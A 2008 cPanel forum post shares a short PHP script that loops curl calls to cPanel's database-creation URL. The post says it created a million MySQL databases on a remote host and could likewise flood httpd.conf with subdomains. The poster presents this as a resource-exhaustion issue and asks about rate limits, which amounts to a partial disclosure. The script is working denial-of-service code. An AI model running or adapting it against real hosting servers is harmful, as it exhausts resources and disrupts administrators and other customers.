Please whitelist cPanel in your adblocker so that you’re able to see our version release promotions, thanks!

The Community Forums

Interact with an entire community of cPanel & WHM users!

MySQL database/subdomain remote creator

Discussion in 'General Discussion' started by jivkoa, May 12, 2008.

  1. jivkoa

    jivkoa Member

    Joined:
    Sep 24, 2006
    Messages:
    13
    Likes Received:
    0
    Trophy Points:
    151
    Hello guys,

    I have just developed and tested the following php script:

    // cPanel username
    $cpanel_user = '';

    // cPanel password
    $cpanel_password = '';

    // cPanel hostname
    $cpanel_host = '';

    // cPanel there. For exmaple 'x3'.
    $cpanel_theme = '';

    // Path to cURL. For exmaple '/usr/bin/curl'.
    $curl_path = '';

    // Number of databases to be created. For example 999999999 :)
    $db_count = '';


    // Starting ...

    echo "Starting database creation\n";

    for ($i=1; $i<=$db_count; $i++) {
    echo "Creating database db_$i\n";
    shell_exec("$curl_path http://$cpanel_user:$cpanel_password@$cpanel_host:2082/frontend/$cpanel_theme/sql/addb.html?db=db_$i >> /dev/null");
    echo "\n";
    }


    ?>

    The above script was tested remotely to server with cpanel hosting and unlimited mysql databases as feature. If I set the variable $db_count to 1000000, it is creating 1000000 mysql databases in /var/lib/mysql. When the remote sys admin tries to list them, he is getting "Argument too long" and that's why it is quite difficult to remove them. If I modify the script to create 1000000 subdomains, the server's httpd.conf will be filled up with my entries. And this will cause inconvenience for the server administration.

    So I was just wondering if there is any solution to reduce the interval between the mysql database/subdomain creation or should I limit them for 24h.

    Thank you in advance!

    Best regards,

    Jivko
     
Loading...

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice